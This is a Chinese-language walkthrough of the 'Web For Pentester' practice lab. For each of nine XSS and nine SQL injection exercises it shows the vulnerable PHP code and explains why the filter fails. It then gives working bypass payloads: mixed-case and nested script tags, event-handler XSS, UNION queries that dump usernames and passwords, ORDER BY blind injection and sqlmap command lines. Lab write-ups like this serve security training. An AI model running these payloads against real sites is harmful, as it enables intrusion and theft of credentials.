Web For Pentester-1
前言
这是一个综合类靶场,综合了常见的例如:XSS/SQL注入/目录遍历/文件包含/代码注入/命令注入/LADP/文件上传/XML攻击
。
Difficulty
Beginner
Details
This exercise is a set of the most common web vulnerabilities:
What you will learn?
- Basics of Web
- Basics of HTTP
- Detection of common web vulnerabilities:
- Cross-Site Scripting
- SQL injections
- Directory traversal
- Command injection
- Code injection
- XML attacks
- LDAP attacks
- File upload
- Basics of fingerprinting
咳咳,又到了传统的保留环节,啊,我又忍不住要吟诗一首了。
稼桃复稼李,照影落春水。
渡头看青杨,翦剪从风起。
裁书写连环,殷勤问行李。
一笼幺凤翼,一系青鸾尾。
江南三月天,群英烂如绮。
开到芜菁花,春事良未已。
何当缓缓归,荡漾绿波裹。
Cross-Site Scripting
跨站脚本攻击,又称为 XSS
,本来是应该叫做 CSS
,但是被抢注了,没办法就叫做 XSS
了。
Example 1 无任何过滤
源码
<?php require_once '../header.php'; ?>
<html>
Hello
<?php
echo $_GET["name"];
?>
<?php require_once '../footer.php'; ?>
解释
从源码可以看出来,是没有对输入进行验证的,所以我们可以使用最经典的 XSS
注入命令 alert
POC
http://192.168.17.179/xss/example1.php?name=<script>alert(1);</script>
Example 2 大小写过滤
源码
<?php require_once '../header.php'; ?>
Hello
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/","", $name);
$name = preg_replace("/<\/script>/","", $name);
echo $name;
?>
<?php require_once '../footer.php'; ?>
解释
从上面的源码可以看出,这里是过滤了 <script>
和 </script>
标签,一般来说这只是一种比较简单的过滤方法,但是由于 JavaScript
对这个大小写不敏感,所以可以通过构造一个大小写混合,纯大写,或者嵌套插入被过滤词的 poc
。
<sCript>alert(1)</sCript>
<scr<script>ipt>alert(1)</scr</script>ipt>
POC
http://192.168.17.179/xss/example2.php?name=<sCript>alert(1)</sCript>
http://192.168.17.179/xss/example2.php?name=<scr<script>ipt>alert(1)</scr</script>ipt>
Example 3 嵌套绕过
源码
<?php require_once '../header.php'; ?>
Hello
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/i","", $name);
$name = preg_replace("/<\/script>/i","", $name);
echo $name;
?>
<?php require_once '../footer.php'; ?>
解释
通过观看源码,这次的过滤手段比 example-2
又多了一种,由于有了 i
,所以是连同大小写一起过滤,但是还是可以通过上述的 2 号 poc
绕过的,因为过滤的是连续的 <script>
,所以可以绕过。
POC
http://192.168.17.179/xss/example3.php?name=<scr<script>ipt>alert(1)</scr</script>ipt>
Example 4 其他标签绕过
<?php require_once '../header.php';
if (preg_match('/script/i', $_GET["name"])) {
die("error");
}
?>
Hello <?php echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?>
解释
这次的源码里面写了,只要出现 script
,无论是大小写都是停止运行,所以说上面的三个的 poc
就不能用了。所以说我们可以通过使用另一个标签,对吧,HTML 中有好多可以不需要使用脚本就可以产生弹窗的标签,我们可以换一个比如说 img
、div
,的事件。onerror
或者 onmousemove
。
POC
http://192.168.17.179/xss/example4.php?name=<img src="随便" onerror="alert(1)">
http://192.168.17.179/xss/example4.php?name=<div onmousemove="alert(1)" src="xxxx">
Example 5 编码或其他方法绕过
<?php require_once '../header.php';
if (preg_match('/alert/i', $_GET["name"])) {
die("error");
}
?>
Hello <?php echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?>
解释
这个源码展现的就是和上面的差不多,只不过这次过滤的是 alert
,只要检测到这个单词,程序就会停止,那么这样的话,其实也是可以绕过的,可以通过使用例如画一个弹窗。
POC
http://192.168.17.179/xss/example5.php?name=<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
http://192.168.17.179/xss/example5.php?name=<script>confirm(1)</script>
http://192.168.17.179/xss/example5.php?name=<script>prompt(1)</script>
Example 6 闭合双引号
源码
<?php require_once '../header.php'; ?>
Hello
<script>
var $a= "<?php echo $_GET["name"]; ?>";
</script>
<?php require_once '../footer.php'; ?>
解释
好家伙,这次直接是吃饭给准备好了碗筷,既然是标签都给你构造好了,我们只需要填好内容就好了,所以说直接填上 alert
就好了。
POC
http://192.168.17.179/xss/example6.php?name=";alert(1); //
Example 7 闭合单引号
源码
<?php require_once '../header.php'; ?>
Hello
<script>
var $a= '<?php echo htmlentities($_GET["name"]); ?>';
</script>
<?php require_once '../footer.php'; ?>
解释
这个源码表达的意思,就是比上一个高级了一些,引入了一个函数 htmlentities
,会将一些指定的字符进行编码以此来防御 XSS
注入,但是开发者并没有为函数指定任何参数,默认的话只是启用了 ENT_COMPAT|ENT_HTML401
,ENT_COMPAT
标志只会处理双引号,不会处理单引号。所以将上述的 poc
得双引号变成单引号即可。
POC
http://192.168.17.179/xss/example7.php?name=';alert(1);//
Example 8 PHP_SELF
源码
<?php
require_once '../header.php';
if (isset($_POST["name"])) {
echo "HELLO ".htmlentities($_POST["name"]);
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
<?php
require_once '../footer.php';
?>
解释
通过源码看出,这次程序的编写这对参数 name
进行了正确的验证,但是这次的问题发生在了 $_SERVER['PHP_SELF']
上面,程序并没有对参数 PHP_SELF
进行验证,所以还是可以利用的。
POC
http://192.168.17.179/xss/example8.php/" onmouseover="alert(1)
Example 9 localtion.hash
源码
<?php require_once '../header.php'; ?>
<script>
document.write(location.hash.substring(1));
</script>
<?php require_once '../footer.php'; ?>
解释
通过源码可以看出来,这是一个基于 DOM
的 XSS
。所以说只要再 #
后面输入 XSS
的代码,就可以触发漏洞。
POC
http://192.168.17.179/xss/example9.php#<script>alert(1)</script>
SQL injections SQL 注入
Example 1 基础注入
源码
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
if ($result) {
while ($row = mysql_fetch_assoc($result))
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
解释
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | name=’X’ |
POC
example1.php?name=x' union select 1,2,(SELECT+GROUP_CONCAT(name,":",passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5--+
Example 2 过滤空格
源码
if (preg_match('/ /', $_GET["name"])) {
die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
解释
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | name=’X’ |
和 Example 1 基本上一致,只是这里过滤了 空格,如果匹配到空格的话,直接就终止函数。
过滤空格可以尝试通过下面的字符来替代:
- %09 TAB 键(水平)
- %0a 新建一行
- %0c 新的一页
- %0d return 功能
- %0b TAB 键(垂直)
- %a0 空格
- /**/ 多行注释
最终的 payload 如下:
POC
example2.php?name=x'/**/union/**/select/**/1,2,(SELECT/**/GROUP_CONCAT(name,":",passwd/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/users),4,5%23
Example 3 过滤连续空格
源码
if (preg_match('/\s+/', $_GET["name"])) {
die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
解释
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | where name=’X’ |
来过滤一个或多个连续空格。但是,我仍然可以使用多行注释/**/
或者 Example 2 其他字符来 Bypass
POC
example3.php?name=x'/**/union/**/select/**/1,2,(SELECT/**/GROUP_CONCAT(name,":",passwd/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/users),4,5%23
sqlmap 也有内置的 tamper 可以直接使用:
sqlmap -u "http://192.168.17.179/sqli/example3.php?name=root*%23" --technique=U --dbms=MySQL --tamper="space2comment" --random-agent --flush-session -v 3 --level=3
Example 4 画蛇添足的过滤
源码
# id 直接拼接到 SQL 语句中
$sql="SELECT * FROM users where id=";
$sql.=mysql_real_escape_string($_GET["id"])." ";
$result = mysql_query($sql);
解释
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | where id = X |
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符:\
,'
,"
,那么问题来了 这一题中并没有使用引号来闭合,所以注入的时候我们也不需要引号,所以实际上这个函数并没有发挥作用,下面正常进行注入吧:
POC
example4.php?id=-2 union select 1,2,(SELECT+GROUP_CONCAT(name,passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5
Example 5 画蛇添足的正则
源码
if (!preg_match('/^[0-9]+/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;
$result = mysql_query($sql);
解释
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | where id = X |
参数 id 必须是数字开头,否则直接终止函数运行。不过实际手工注入的时候默认 id 是满足这个条件的,除非我们手动修改这个 id 的值:
POC
example5.php?id=2 and 1=2 union select 1,2,(SELECT+GROUP_CONCAT(name,passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5
这里不能用 id=-2 来构造报错了,因为正则限制 id 必须是数字开题,所以这里使用了 and 1=2 来构造报错。不过实际上这里不用构造报错也可以的,因为页面不止显示一条查询信息,但是由于注入习惯的原因,这里就构造报错。
Example 6 画蛇添足的正则 again
源码
if (!preg_match('/[0-9]+$/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;
$result = mysql_query($sql);
解释
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | where id = X |
这里和 Example 5 差不多,只是这里确保 id 的值以数字结束,看看我们的上一关的 payload:
POC
example6.php?id=2 and 1=2 union select 1,2,(SELECT+GROUP_CONCAT(name,passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5
恰巧是以数字 5 结束,所以这个正则就很画蛇添足
Example 7 /m 正则缺陷 Bypass
源码
if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];
$result = mysql_query($sql);
解释
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | where id = X |
id 只允许 233
或者 -233
这样的形式,这样肯定是无法进行注入的了。天无绝人之路,仔细观察 这里使用了 /m
,/m
表示开启多行匹配模式,正常情况下^
和可以匹配每行的开头和结尾。我们常用:
- %0A 换行
来绕过 /m
模式的正则检测,完整的 payload 如下:
POC
example7.php?id=-2%0a union select 1,2,(SELECT+GROUP_CONCAT(name,passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5
使用 sqlmap 也是可以正常进行注入的:
sqlmap -u "http://10.211.55.20/sqli/example7.php?id=2" --technique=U --dbms=MySQL --prefix="%0a" --random-agent --flush-session -v 3
Example 8 order by 盲注
源码
$sql = "SELECT * FROM users ORDER BY `";
$sql .= mysql_real_escape_string($_GET["order"])."`";
$result = mysql_query($sql);
解释
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | order by X |
order by 不同于 where 后的注入点,不能使用 union 等进行注入。不过注入方式也十分灵活,下面在本关来详细讲解一下。这里并没有输出报错日志,这里只能使用盲注,效率要低一些,这里使用布尔类型盲注来简单尝试一下:
POC
# 数据库第 1 位的 ascii 码为 101 即 e
example8.php?order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>100) THEN 0x6e616d65 ELSE 0x28 END))--+
example8.php?order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>101) THEN 0x6e616d65 ELSE 0x28 END))--+
# 数据库第 2 位的 ascii 码为 120 即 x
example8.php?order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>119) THEN 0x6e616d65 ELSE 0x28 END))--+
example8.php?order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>120) THEN 0x6e616d65 ELSE 0x28 END))--+
...
直接用 sqlmap 当然也是可以跑起来的:
sqlmap -u "http://10.211.55.20/sqli/example8.php?order=name" --technique=B --dbms=MySQL --prefix='`' --random-agent --flush-session -v 3 --level 3
Example 9 order by 盲注
源码
$sql = "SELECT * FROM users ORDER BY ";
$sql .= mysql_real_escape_string($_GET["order"]);
$result = mysql_query($sql);
解释
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | order by X |
比 Example 8 更简单,这里没有奇怪的闭合拼接方式就直接导入到 SQL 语句中了,下面直接开始注入吧:
POC
# 数据库第 1 位的 ascii 码为 101 即 e
example9.php?order=name RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>100) THEN 0x6e616d65 ELSE 0x28 END))
example9.php?order=name RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>101) THEN 0x6e616d65 ELSE 0x28 END))
# 数据库第 2 位的 ascii 码为 120 即 x
example9.php?order=name RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>119) THEN 0x6e616d65 ELSE 0x28 END))
example9.php?order=name RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>120) THEN 0x6e616d65 ELSE 0x28 END))
直接用 sqlmap 当然也是可以跑起来的:
sqlmap -u "http://10.211.55.20/sqli/example9.php?order=name" --technique=B --dbms=MySQL --random-agent --flush-session -v 3